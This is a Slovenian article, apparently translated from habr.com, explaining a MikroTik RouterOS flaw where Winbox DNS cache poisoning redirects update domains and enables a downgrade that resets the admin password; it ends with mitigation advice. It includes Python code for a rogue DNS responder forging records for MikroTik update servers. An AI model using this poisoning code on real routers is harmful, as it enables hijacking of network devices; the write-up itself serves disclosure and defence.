Backport ranljivosti v RouterOS ogroža na tisoče naprav

Backport ranljivosti v RouterOS ogroža na tisoče naprav

Možnost oddaljenega zmanjšanja naprav z operacijskim sistemom RouterOS (Mikrotik) ogroža na tisoče omrežnih naprav. Ranljivost je povezana z zastrupljanjem DNS predpomnilnika protokola Winbox in omogoča nalaganje zastarele (s ponastavitvijo gesla na "privzeto") ali spremenjene programske opreme na napravo.

Backport ranljivosti v RouterOS ogroža na tisoče naprav

Podrobnosti ranljivosti

Terminal RouterOS podpira ukaz za razreševanje za iskanje DNS.

Backport ranljivosti v RouterOS ogroža na tisoče naprav

Ta zahteva se obdeluje z binarno datoteko z imenom resolver. Resolver je ena izmed mnogih binarnih datotek, ki so povezane s protokolom Winbox v RouterOS. Na visoki ravni se "sporočila", poslana na vrata Winbox, lahko usmerjajo v različne binarne datoteke v RouterOS na podlagi sheme številčenja, ki temelji na polju.

Privzeto je funkcija DNS strežnika v RouterOS onemogočena.

Backport ranljivosti v RouterOS ogroža na tisoče naprav

Kljub temu pa tudi pri onemogočeni funkciji strežnika usmerjevalnik podpira svoj predpomnilnik DNS.

Backport ranljivosti v RouterOS ogroža na tisoče naprav

Ko izvedemo zahtevo z uporabo winbox_dns_request, na primer, example.com, bo usmerjevalnik shranil rezultat v predpomnilnik.

Backport ranljivosti v RouterOS ogroža na tisoče naprav

Ker lahko določimo DNS strežnik, preko katerega naj bi šla zahteva, je vnašanje napačnih naslovov trivialno. Na primer, lahko nastavimo implementacijo DNS strežnika od Philippa Klause, da vedno odgovarja z zapisom A, ki vsebuje IP naslov 192.168.88.250.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Odgovor:n", reply)
    return reply.pack()

Zdaj, če ga z Winboxom poiščemo example.com, lahko vidimo, da je DNS predpomnilnik usmerjevalnika zastrupljen.

Backport ranljivosti v RouterOS ogroža na tisoče naprav

Seveda zastrupitev example.com ni zelo koristna, ker ga usmerjevalnik dejansko ne bo uporabljal. Kljub temu pa se usmerjevalnik mora obrniti na upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com in download.mikrotik.com. In zaradi še ene napake obstaja možnost, da jih zastrupimo vse hkrati.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Odgovor:n", reply)
    return reply.pack()

Usmernik zahteva eno dovoljenje, mi pa vrnemo pet. Usmernik napačno predpomni vse te odgovore.

Backport ranljivosti v RouterOS ogroža na tisoče naprav

Očitno je, da je ta napad prav tako koristen, če usmernik deluje kot DNS strežnik, saj omogoča napad na stranke usmernika.

Ta napad prav tako izkorišča resnejšo ranljivost: omogoča posodobitev ali povratno prenašanje različice RouterOS. Napadalec ponovno ustvari logiko posodobitvenega strežnika, vključno s spremembami in prisili RouterOS, da obravnava zastarelo (ranljivo) različico kot aktualno. Tukaj je nevarnost v tem, da se pri 'posodabljanju' različice geslo administratorja ponastavi na privzeto vrednost — napadalec lahko vstopi v sistem s praznim geslom!

Predvajaj video

Napad je sicer delujoč, kljub temu da avtor izvaja še nekaj vektorjev, povezanih tudi z vgradnjo backdora v programsko opremo, a to je že odvečna tehnika in njeno uporabo v nezakonitih namenih je prepovedano.

Zaščita

Preprosto izklopitev Winboxa omogoča zaščito pred temi napadi. Kljub udobnosti upravljanja preko Winboxa je bolje uporabiti protokol SSH.

Izvor: habr.com

Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki 🔥 Kupite zanesljivo gostovanje za spletne strani z zaščito pred DDoS, VPS VDS strežniki | ProHoster